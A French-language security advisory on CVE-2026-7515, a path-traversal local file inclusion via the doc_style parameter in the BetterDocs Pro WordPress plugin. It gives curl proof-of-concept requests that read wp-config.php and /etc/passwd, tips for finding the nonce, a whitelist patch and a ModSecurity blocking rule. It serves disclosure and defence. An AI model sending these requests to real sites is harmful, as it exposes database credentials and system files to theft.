
Inclusion de fichier local non authentifiée
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-7515 |
| Score CVSS | 9.8 (Critique) |
| Vecteur CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Version concernée | BetterDocs Pro <= 3.8.0 |
| Version corrigée | 3.8.1 |
| Chercheur | Nguyen Ngoc Duc (duc193) |
| Publication | 18 juin 2026 |
| CWE | CWE-98 : Contrôle inadéquat du nom de fichier pour l'instruction Include/Require |
Le plugin BetterDocs Pro pour WordPress est vulnérable à une inclusion de fichier local dans les versions jusqu’à la 3.8.0 incluse via le paramètre doc_style. Cela permet à des attaquants non authentifiés d’inclure et d’exécuter des fichiers PHP arbitraires sur le serveur.
Fichier : wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Ligne : 141
// CODE VULNÉRABLE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
Problème : L’entrée contrôlée par l’utilisateur provenant de $_POST['doc_style'] est utilisée directement sans aucune validation.
Fichier : wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Ligne : 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
Problème : La variable $doc_style (contrôlée par l’utilisateur) est directement interpolée dans le chemin de fichier passé à views->get(), qui inclut le fichier.
Requête HTTP POST
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
AUCUNE VALIDATION (version vulnérable 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
Inclusion de fichier via include() ou require()
↓
Exécution de code PHP arbitraire / Lecture de fichier
// Ligne 141 dans includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// Lignes 145-148 dans includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Les deux points de terminaison sont enregistrés avec des hooks nopriv, ce qui signifie qu’ils sont accessibles aux utilisateurs non authentifiés :
// Lignes 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// Lignes 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce valide (trouvé dans le code source des pages contenant le bloc BetterDocs Encyclopedia)# Étape 1 : Lire wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# Étape 2 : Lire /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
Le encyclopedia_nonce est exposé dans le JavaScript des pages où le bloc BetterDocs Encyclopedia est affiché :
// Dans betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- C'est ce dont vous avez besoin
};
Mettre à jour BetterDocs Pro vers la version 3.8.1 ou ultérieure
Appliquer le correctif suivant à includes/Core/Encyclopedia.php :
// Remplacer la ligne 141 par :
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Appliquer le même correctif à la ligne 236.
Ajouter une règle pour bloquer le parcours de chemin dans le paramètre doc_style :
# Bloquer doc_style avec des motifs de parcours de répertoire
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'Tentative LFI bloquée'"
Version vulnérable : betterdocs-pro_3.8.0.zip
Version corrigée : betterdocs-pro_3.9.0.zip
Fichiers clés :
- includes/Core/Encyclopedia.php (VULNÉRABLE)
- includes/Core/Scripts.php (Contient la génération du nonce)
- includes/Utils/Views.php (Logique d’inclusion de fichier)
| Aspect | Vulnérable (3.8.0) | Corrigé (3.8.1) |
|---|
| Validation | Aucune | Liste blanche avec in_array() |
| Valeurs autorisées | N’importe quelle chaîne | Uniquement doc-grid, doc-list, doc-list-2 |
| Vérification de type | Non | Comparaison stricte (===) |
| Type d’impact | Gravité | Description |
|---|
| Confidentialité | ÉLEVÉE | Lire des fichiers arbitraires (wp-config.php, /etc/passwd, etc.) |
| Intégrité | ÉLEVÉE | Modifier ou supprimer des fichiers |
| Disponibilité | ÉLEVÉE | Déni de service |
| Vecteur d’accès | Réseau | Exploitable à distance |
| Privilèges | Aucun | Aucune authentification requise |
| Interaction utilisateur | Aucune | Non requise |